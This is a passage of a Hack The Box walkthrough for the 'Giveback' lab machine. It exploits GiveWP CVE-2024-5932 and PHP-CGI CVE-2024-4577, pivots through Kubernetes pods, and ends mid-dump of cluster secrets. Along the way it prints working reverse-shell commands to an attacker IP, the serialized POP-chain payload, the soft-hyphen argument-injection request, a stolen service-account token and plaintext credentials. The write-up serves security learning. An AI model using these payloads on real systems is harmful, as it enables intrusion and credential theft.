Hackthebox: Giveback

Foued SAIDI Lv5

Overview

GiveBack is a medium-difficulty Hack The Box machine that starts with a WordPress 6.8.1 site running the vulnerable GiveWP donation plugin, exploitable via CVE-2024-5932 (unauthenticated PHP Object Injection) to get a reverse shell inside a Kubernetes pod. From inside the pod we discover an internal legacy CMS service with PHP-CGI exposed, exploit it via CVE-2024-4577 to get root in a second container, steal the mounted Kubernetes service account token (secret-reader-sa), dump cluster secrets containing a master password, and SSH into the host as babywyrm. For root, we abuse sudo /opt/debug β€” an OCI container runtime β€” by crafting a config that bind-mounts /root from the host and reads the flag.

GGivebackd
GGivebackd

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_ 256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open http nginx 1.28.0
|_http-server-header: nginx/1.28.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 6.8.1
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 745.73 ms 10.10.16.1
2 424.32 ms 10.129.183.181

SSH on port 22, nginx on port 80 serving WordPress 6.8.1. Enumerating the WordPress installation reveals the GiveWP donation plugin is active.

Foothold - CVE-2024-5932 (GiveWP PHP Object Injection)

GiveWP versions up to and including 3.14.1 are vulnerable to CVE-2024-5932 β€” an unauthenticated PHP Object Injection via the give_title parameter during donation processing. A POP chain exists that allows full RCE.

We use the public exploit from EQSTLab :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/CVE-2024-5932]
└─$ python3 CVE-2024-5932-rce.py -u http://10.129.183.181/donations/the-things-we-need/ -c "bash -c 'bash -i >& /dev/tcp/10.10.16.7/9001 0>&1'"

..-+*******-
.=#+-------=@. .:==:.
.**-------=*+: .-=++.-+=:.
+*-------=#=+++++++++=:.. -+:==**=+-+:.
.%----=+**+=-:::::::::-=+**+:. ==:=*=-==+=..
:%--**+-::::::::::::::::::::+*=: .::*=**=:.
..-++++*@#+-:::::::::::::::::::::::::-*+. ..-+:.
..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.
.-#=---**:::::::::::::::::::::::::=+++-:::-#:.. :=+++++++==. ..-======-. ..:---:..
..=**#=::::::::::::::::::::::::::::::::::::%:. *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.
.=#%=::::::::::::::::::::::::::::::::-::::-#. %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-
.*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:. =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-
.+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-. :=====+#@@@@-=@@@+. .%@@@%=+@@@+. .#@@@%-
.+*::::::::::::::::::::::::+*******=::::::--@.+@#+==#-. #@@@@@@@@@@@@.=@@@%*++*%@@@%=+@@@#====@@@@%-
.=+:::::::::::::=*+::::::-**=-----=#-::::::-@%+=+*%#:. .@@@@@@@@@@@%=.:%@@@@@@@@@@@#-=%@@@@@@@@@@@#-
.=*::::::::::::-+**=::::-#+--------+#:::-::#@%*==+*- .@@@@#=----:. .-+*#%%%%@@@@#-:+#%@@@@@@@@@#-
.-*::::::::::::::::::::=#=---------=#:::::-%+=*#%#-. .@@@@%######*+. .-%@@@#: .....:+@@@@*:
:+=:::::::::::-:-::::-%=----------=#:::--%++++=** %@@@@@@@@@@@@. =%@@@#. =@@@@*.
.-*-:::::::::::::::::**---------=+#=:::-#**#*+#*. -#%@@@@@@@@@#. -%@@%*. =@@@@+.
.::-==##**-:::-::::::::::%=-----=+***=::::=##+#=.:: ..::----:::. .-=--. .=+=-.
%+==--:::=*::::::::::::-:+#**+=**=::::::-#%=:-%.
*+.......+*::::::::::::::::-****-:::::=*=:.++:*=
.%:..::::*@@*-::::::::::::::-+=:::-+#%-. .#*#.
++:.....#--#%**=-:::::::::::-+**+=:@#....-+*=.
:#:....:#-::%..-*%#++++++%@@@%*+-.#-=#+++-..
.++....-#:::%. .-*+-..*=.+@= .=+..-#
.:+++#@#-:-#= ... .-++:-%@@= .:#
:+++**##@#+=. -%@@@%- .-=*#.
.=+::+::-@: #@@@@+. :+*=::=*-
.=+:-**+%%+=-:.. =*#*-..=*-:::::=*
:++---::--=*#+*+++++**+*+**-::::::+=
.+*=:::---+*:::::++++++*+=:::::-*=.
.:=**+====#*::::::=%:...-=++++=. Author: EQST(Experts, Qualified Security Team)
..:----=**++++*+. Github: https://github.com/EQSTLab/CVE-2024-5932


Analysis base : https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

=============================================================================================================

CVE-2024-5932 : GiveWP unauthenticated PHP Object Injection
description: The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.
Arbitrary File Deletion

=============================================================================================================

[\] Exploit loading, please wait...
[+] Requested Data:
{'give-form-id': '17', 'give-form-hash': 'c42e59787d', 'give-price-id': '0', 'give-amount': '$10.00', 'give_first': 'Linda', 'give_last': 'Maddox', 'give_email': '[email protected]', 'give_title': 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:50:"bash -c \'bash -i >& /dev/tcp/10.10.16.7/9001 0>&1\'";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}', 'give-gateway': 'offline', 'action': 'give_process_donation'}

The exploit injects a serialized PHP object chain into the give_title field, threading through Stripe\StripeObject -> GiveInsertPaymentData -> Faker\ValidGenerator with shell_exec as the validator. On our listener:

1
2
3
4
5
6
7
8
9
10
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/CVE-2024-5932]
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.7] from (UNKNOWN) [10.129.183.181] 7842
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$ id
id
uid=1001 gid=0(root) groups=0(root),1001
<-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$

The hostname beta-vino-wp-wordpress-7bdb994b9d-wbcm8 and the /opt/bitnami/wordpress path confirm we landed in a Bitnami WordPress Kubernetes pod.

Enumerating the Kubernetes Environment

Running env dumps a load of Kubernetes service variables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
<-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$ env
env
BETA_VINO_WP_MARIADB_SERVICE_PORT=3306
KUBERNETES_SERVICE_PORT_HTTPS=443
WORDPRESS_SMTP_PASSWORD=
WORDPRESS_SMTP_FROM_EMAIL=
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT=443
WEB_SERVER_HTTP_PORT_NUMBER=8080
WORDPRESS_RESET_DATA_PERMISSIONS=no
KUBERNETES_SERVICE_PORT=443
[email protected]
WP_CLI_CONF_FILE=/opt/bitnami/wp-cli/conf/wp-cli.yml
WORDPRESS_DATABASE_HOST=beta-vino-wp-mariadb
MARIADB_PORT_NUMBER=3306
MODULE=wordpress
WORDPRESS_SMTP_FROM_NAME=FirstName LastName
HOSTNAME=beta-vino-wp-wordpress-7bdb994b9d-wbcm8
WORDPRESS_SMTP_PORT_NUMBER=
BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO=tcp
WORDPRESS_EXTRA_CLI_ARGS=
APACHE_BASE_DIR=/opt/bitnami/apache
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT=5000
APACHE_VHOSTS_DIR=/opt/bitnami/apache/conf/vhosts
WEB_SERVER_DEFAULT_HTTP_PORT_NUMBER=8080
WP_NGINX_SERVICE_PORT_80_TCP=tcp://10.43.4.242:80
WORDPRESS_ENABLE_DATABASE_SSL=no
WP_NGINX_SERVICE_PORT_80_TCP_PROTO=tcp
APACHE_DAEMON_USER=daemon
BITNAMI_ROOT_DIR=/opt/bitnami
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
WORDPRESS_BASE_DIR=/opt/bitnami/wordpress
WORDPRESS_SCHEME=http
WORDPRESS_LOGGED_IN_SALT=
BETA_VINO_WP_WORDPRESS_PORT_80_TCP=tcp://10.43.61.204:80
WORDPRESS_DATA_TO_PERSIST=wp-config.php wp-content
WORDPRESS_HTACCESS_OVERRIDE_NONE=no
WORDPRESS_DATABASE_SSL_CERT_FILE=
APACHE_HTTPS_PORT_NUMBER=8443
PWD=/opt/bitnami/wordpress/wp-admin
OS_FLAVOUR=debian-12
WORDPRESS_SMTP_PROTOCOL=
WORDPRESS_CONF_FILE=/opt/bitnami/wordpress/wp-config.php
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
WP_CLI_BASE_DIR=/opt/bitnami/wp-cli
WORDPRESS_VOLUME_DIR=/bitnami/wordpress
WP_CLI_CONF_DIR=/opt/bitnami/wp-cli/conf
APACHE_BIN_DIR=/opt/bitnami/apache/bin
BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL=3306
WORDPRESS_PLUGINS=none
WORDPRESS_FIRST_NAME=FirstName
MARIADB_HOST=beta-vino-wp-mariadb
WORDPRESS_EXTRA_WP_CONFIG_CONTENT=
WORDPRESS_MULTISITE_ENABLE_NIP_IO_REDIRECTION=no
WORDPRESS_DATABASE_USER=bn_wordpress
PHP_DEFAULT_UPLOAD_MAX_FILESIZE=80M
WORDPRESS_AUTH_KEY=
BETA_VINO_WP_MARIADB_PORT_3306_TCP=tcp://10.43.147.82:3306
WORDPRESS_MULTISITE_NETWORK_TYPE=subdomain
APACHE_DEFAULT_CONF_DIR=/opt/bitnami/apache/conf.default
WORDPRESS_DATABASE_SSL_KEY_FILE=
WORDPRESS_LOGGED_IN_KEY=
APACHE_CONF_DIR=/opt/bitnami/apache/conf
HOME=/
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
WEB_SERVER_DAEMON_GROUP=daemon
PHP_DEFAULT_POST_MAX_SIZE=80M
WORDPRESS_ENABLE_HTTPS=no
BETA_VINO_WP_WORDPRESS_SERVICE_PORT=80
BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS=443
WORDPRESS_TABLE_PREFIX=wp_
WORDPRESS_DATABASE_PORT_NUMBER=3306
WORDPRESS_DATABASE_NAME=bitnami_wordpress
LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000
APACHE_HTTP_PORT_NUMBER=8080
WP_NGINX_SERVICE_SERVICE_HOST=10.43.4.242
WP_NGINX_SERVICE_PORT=tcp://10.43.4.242:80
WP_CLI_DAEMON_GROUP=daemon
APACHE_DEFAULT_HTTP_PORT_NUMBER=8080
BETA_VINO_WP_MARIADB_PORT=tcp://10.43.147.82:3306
WORDPRESS_MULTISITE_FILEUPLOAD_MAXK=81920
WORDPRESS_AUTO_UPDATE_LEVEL=none
BITNAMI_DEBUG=false
LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241
WORDPRESS_USERNAME=user
BETA_VINO_WP_WORDPRESS_PORT=tcp://10.43.61.204:80
WORDPRESS_ENABLE_XML_RPC=no
WORDPRESS_BLOG_NAME=User's Blog!
WP_NGINX_SERVICE_PORT_80_TCP_ADDR=10.43.4.242
APACHE_PID_FILE=/opt/bitnami/apache/var/run/httpd.pid
WORDPRESS_AUTH_SALT=
APACHE_LOGS_DIR=/opt/bitnami/apache/logs
WORDPRESS_EXTRA_INSTALL_ARGS=
BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT=3306
APACHE_DAEMON_GROUP=daemon
WORDPRESS_NONCE_KEY=
WEB_SERVER_HTTPS_PORT_NUMBER=8443
WORDPRESS_SMTP_HOST=
WP_NGINX_SERVICE_SERVICE_PORT_HTTP=80
WORDPRESS_NONCE_SALT=
APACHE_DEFAULT_HTTPS_PORT_NUMBER=8443
APACHE_CONF_FILE=/opt/bitnami/apache/conf/httpd.conf
WORDPRESS_MULTISITE_EXTERNAL_HTTP_PORT_NUMBER=80
BETA_VINO_WP_WORDPRESS_PORT_443_TCP=tcp://10.43.61.204:443
WEB_SERVER_DEFAULT_HTTPS_PORT_NUMBER=8443
WP_NGINX_SERVICE_SERVICE_PORT=80
WORDPRESS_LAST_NAME=LastName
WP_NGINX_SERVICE_PORT_80_TCP_PORT=80
WORDPRESS_ENABLE_MULTISITE=no
WORDPRESS_SKIP_BOOTSTRAP=no
WORDPRESS_MULTISITE_EXTERNAL_HTTPS_PORT_NUMBER=443
SHLVL=2
WORDPRESS_SECURE_AUTH_SALT=
BITNAMI_VOLUME_DIR=/bitnami
BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR=10.43.147.82
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT=80
KUBERNETES_PORT_443_TCP_PROTO=tcp
BITNAMI_APP_NAME=wordpress
WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS
APACHE_HTDOCS_DIR=/opt/bitnami/apache/htdocs
BETA_VINO_WP_WORDPRESS_SERVICE_HOST=10.43.61.204
WEB_SERVER_GROUP=daemon
WORDPRESS_PASSWORD=O8F7KR5zGi
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
APACHE_HTACCESS_DIR=/opt/bitnami/apache/conf/vhosts/htaccess
WORDPRESS_DEFAULT_DATABASE_HOST=mariadb
WORDPRESS_SECURE_AUTH_KEY=
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO=tcp
APACHE_TMP_DIR=/opt/bitnami/apache/var/run
APP_VERSION=6.8.1
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR=10.43.61.204
ALLOW_EMPTY_PASSWORD=yes
WP_CLI_DAEMON_USER=daemon
BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP=80
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
WP_CLI_BIN_DIR=/opt/bitnami/wp-cli/bin
WORDPRESS_VERIFY_DATABASE_SSL=yes
OS_NAME=linux
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO=tcp
APACHE_SERVER_TOKENS=Prod
PATH=/opt/bitnami/apache/bin:/opt/bitnami/common/bin:/opt/bitnami/common/bin:/opt/bitnami/mysql/bin:/opt/bitnami/common/bin:/opt/bitnami/php/bin:/opt/bitnami/php/sbin:/opt/bitnami/apache/bin:/opt/bitnami/mysql/bin:/opt/bitnami/wp-cli/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO=tcp
WORDPRESS_ENABLE_HTACCESS_PERSISTENCE=no
WORDPRESS_ENABLE_REVERSE_PROXY=no
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
WORDPRESS_SMTP_USER=
WEB_SERVER_TYPE=apache
WORDPRESS_MULTISITE_HOST=
PHP_DEFAULT_MEMORY_LIMIT=512M
WORDPRESS_OVERRIDE_DATABASE_SETTINGS=no
WORDPRESS_DATABASE_SSL_CA_FILE=
WEB_SERVER_DAEMON_USER=daemon
OS_ARCH=amd64
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR=10.43.61.204
BETA_VINO_WP_MARIADB_SERVICE_HOST=10.43.147.82
_=/usr/bin/env
<-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$

The key takeaways here: WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS, the MariaDB host, and most importantly LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000 β€” another service living inside the cluster.

We also find credentials mounted under /secrets:

1
2
3
4
<ess-7bdb994b9d-wbcm8:/secrets$ cat mariadb-password
sW5sp4spa3u7RLyetrekE4oSI have no name!@beta-vino-wp-wordpress-7bdb994b9d-wbcm8:/secrets$ cat mariadb-root-password
<bdb994b9d-wbcm8:/secrets$ cat mariadb-root-password
sW5sp4syetre32828383kE4oSI have no name!@beta-vino-wp-wordpress-7bdb994b9d-wbcm8:/secrets$

Pivoting to the Legacy Intranet CMS

No curl or wget in the container, so we use PHP’s file_get_contents to reach the internal service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$ php -r '$data = "test=data"; $opts = ["http" => ["method" => "POST", "header" => "Content-Type: application/x-www-form-urlencoded", "content" => $data]]; $context = stream_context_create($opts); echo file_get_contents("http://10.43.2.241:5000", false, $context);'

<tents("http://10.43.2.241:5000", false, $context);'
<!DOCTYPE html>
<html>
<head>
<title>GiveBack LLC Internal CMS</title>
<!-- Developer note: phpinfo accessible via debug mode during migration window -->
<style>
body { font-family: Arial, sans-serif; margin: 40px; background: #f9f9f9; }
.header { color: #333; border-bottom: 1px solid #ccc; padding-bottom: 10px; }
.info { background: #eef; padding: 15px; margin: 20px 0; border-radius: 5px; }
.warning { background: #fff3cd; border: 1px solid #ffeeba; padding: 10px; margin: 10px 0; }
.resources { margin: 20px 0; }
.resources li { margin: 5px 0; }
a { color: #007bff; text-decoration: none; }
a:hover { text-decoration: underline; }
</style>
</head>
<body>
<div class="header">
<h1>🏒 GiveBack LLC Internal CMS System</h1>
<p><em>Development Environment – Internal Use Only</em></p>
</div>

<div class="warning">
<h4>⚠ Legacy Notice</h4>
<p>**SRE** - This system still includes legacy CGI support. Cluster misconfiguration may likely expose internal scripts.</p>
</div>

<div class="resources">
<h3>Internal Resources</h3>
<ul>
<li><a href="/admin/">/admin/</a> β€” VPN Required</li>
<li><a href="/backups/">/backups/</a> β€” VPN Required</li>
<li><a href="/runbooks/">/runbooks/</a> β€” VPN Required</li>
<li><a href="/legacy-docs/">/legacy-docs/</a> β€” VPN Required</li>
<li><a href="/debug/">/debug/</a> β€” Disabled</li>
<li><a href="/cgi-bin/info">/cgi-bin/info</a> β€” CGI Diagnostics</li>
<li><a href="/cgi-bin/php-cgi">/cgi-bin/php-cgi</a> β€” PHP-CGI Handler</li>
<li><a href="/phpinfo.php">/phpinfo.php</a></li>
<li><a href="/robots.txt">/robots.txt</a> β€” Crawlers: Disallowed</li>
</ul>
</div>

<div class="info">
<h3>Developer Note</h3>
<p>This CMS was originally deployed on Windows IIS using <code>php-cgi.exe</code>.
During migration to Linux, the Windows-style CGI handling was retained to ensure
legacy scripts continued to function without modification.</p>
</div>
</body>
</html>

GiveBack LLC Internal CMS with /cgi-bin/php-cgi exposed and a developer note about Windows-style CGI handling being retained during migration to Linux. This is textbook CVE-2024-4577 .

CVE-2024-4577 (PHP-CGI Argument Injection)

We exploit the PHP-CGI handler using the soft-hyphen (%AD) bypass to inject allow_url_include and auto_prepend_file=php://input, sending a reverse shell as the POST body β€” all from inside the WordPress pod using PHP:

1
2
<-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$  php -r '$u="http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input"; $d="nc 10.10.16.7 9002 -e sh"; $h="Content-Type: application/x-www-form-urlencoded\r\nUser-Agent: curl/7.79.1\r\n"; $ctx=stream_context_create(["http"=>["method"=>"POST","header"=>$h,"content"=>$d]]); echo file_get_contents($u,false,$ctx);'
<nt"=>$d]]); echo file_get_contents($u,false,$ctx);'

On our second listener:

1
2
3
4
5
$ rlwrap nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.7] from (UNKNOWN) [10.129.183.181] 10146
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Root in the legacy CMS pod.

Stealing the Kubernetes Service Account Token

This pod has a service account token mounted at the default path:

1
2
3
4
5
6
7
8
pwd
/run/secrets/kubernetes.io/serviceaccount
ls
ca.crt
namespace
token
cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzODUxOTQyLCJpYXQiOjE3NjIzMTU5NDIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiYWFkYmRhZjQtZGFhNy00NjFlLTlmYmQtYjc2ZGFiMmViODJhIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LWdiOTc1IiwidWlkIjoiMDc5NDAzMjMtNjMyYi00NDA5LTkxMWItYzJmZmExZmJkY2E5In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjMxOTU0OX0sIm5iZiI6MTc2MjMxNTk0Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.xY-uVE2BDoziCUKc9_SHDlFbpkhgONk2O7l3W3JVeHlBuKVDH4_4Y62eiwjP-_tgBFsgXxlekkyL-5REXjmE6yuHGoXuMW1iYIa1GcUeWENCa-EDFHCD8MPLBnE9I4iXsLk60eJfiJ7DTH87r-nF9HSPbd5ddfPVO2f5AaTo_hHnmER1iY7wLBOHxtIh4pnm2avm_BZ3JsE92uCqdLthHAVNbWxYr2Xs5DoQssLRC7wH5OSYvpmv9ztNyXfbBPJGKB-4squKR78oS9C2XSlpR_QRtnvkhgGnU0R8IYs6ldhZdtlDtw_f5NGjnPZA2csJkuhqMBjlyofhPAyUJQQOqg

Decoding the JWT payload reveals the service account is secret-reader-sa. We use it to query the Kubernetes Secrets API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
$ rlwrap nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.7] from (UNKNOWN) [10.129.183.181] 22553
cd /run
curl https://kubernetes.default.svc/api/v1/namespaces/default/secrets
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces/default/secrets
{
"kind": "SecretList",
"apiVersion": "v1",
"metadata": {
"resourceVersion": "2870018"
},
"items": [
{
"metadata": {
"name": "beta-vino-wp-mariadb",
"namespace": "default",
"uid": "3473d5ec-b774-40c9-a249-81d51426a45e",
"resourceVersion": "2088227",
"creationTimestamp": "2024-09-21T22:17:31Z",
"labels": {
"app.kubernetes.io/instance": "beta-vino-wp",
"app.kubernetes.io/managed-by": "Helm",
"app.kubernetes.io/name": "mariadb",
"app.kubernetes.io/part-of": "mariadb",
"app.kubernetes.io/version": "11.8.2",
"helm.sh/chart": "mariadb-21.0.0"
},
"annotations": {
"meta.helm.sh/release-name": "beta-vino-wp",
"meta.helm.sh/release-namespace": "default"
},
"managedFields": [
{
"manager": "helm",
"operation": "Update",
"apiVersion": "v1",
"time": "2025-08-29T03:29:54Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:mariadb-password": {},
"f:mariadb-root-password": {}
},
"f:metadata": {
"f:annotations": {
".": {},
"f:meta.helm.sh/release-name": {},
"f:meta.helm.sh/release-namespace": {}
},
"f:labels": {
".": {},
"f:app.kubernetes.io/instance": {},
"f:app.kubernetes.io/managed-by": {},
"f:app.kubernetes.io/name": {},
"f:app.kubernetes.io/part-of": {},
"f:app.kubernetes.io/version": {},
"f:helm.sh/chart": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
"mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
},
"type": "Opaque"
},
{
"metadata": {
"name": "beta-vino-wp-wordpress",
"namespace": "default",
"uid": "1cbbc5ac-1611-46af-8033-09e98dfc546b",
"resourceVersion": "2088228",
"creationTimestamp": "2024-09-21T22:17:31Z",
"labels": {
"app.kubernetes.io/instance": "beta-vino-wp",
"app.kubernetes.io/managed-by": "Helm",
"app.kubernetes.io/name": "wordpress",
"app.kubernetes.io/version": "6.8.2",
"helm.sh/chart": "wordpress-25.0.5"
},
"annotations": {
"meta.helm.sh/release-name": "beta-vino-wp",
"meta.helm.sh/release-namespace": "default"
},
"managedFields": [
{
"manager": "helm",
"operation": "Update",
"apiVersion": "v1",
"time": "2025-08-29T03:29:54Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:wordpress-password": {}
},
"f:metadata": {
"f:annotations": {
".": {},
"f:meta.helm.sh/release-name": {},
"f:meta.helm.sh/release-namespace": {}
},
"f:labels": {
".": {},
"f:app.kubernetes.io/instance": {},
"f:app.kubernetes.io/managed-by": {},
"f:app.kubernetes.io/name": {},
"f:app.kubernetes.io/version": {},
"f:helm.sh/chart": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"wordpress-password": "TzhGN0tSNXpHaQ=="
},
"type": "Opaque"
},
{
"metadata": {
"name": "sh.helm.release.v1.beta-vino-wp.v58",
"namespace": "default",
"uid": "13034cd4-64e1-4e2e-9182-4ce0ffda27e8",
"resourceVersion": "2123405",
"creationTimestamp": "2025-08-30T05:17:49Z",
"labels": {
"modifiedAt": "1726957051",
"name": "beta-vino-wp",
"owner": "helm",
"status": "superseded",
"version": "58"
},
"managedFields": [
{
"manager": "Helm",
"operation": "Update",
"apiVersion": "v1",
"time": "2025-08-30T05:21:45Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:release": {}
},
"f:metadata": {
"f:labels": {
".": {},
"f:modifiedAt": {},
"f:name": {},
"f:owner": {},
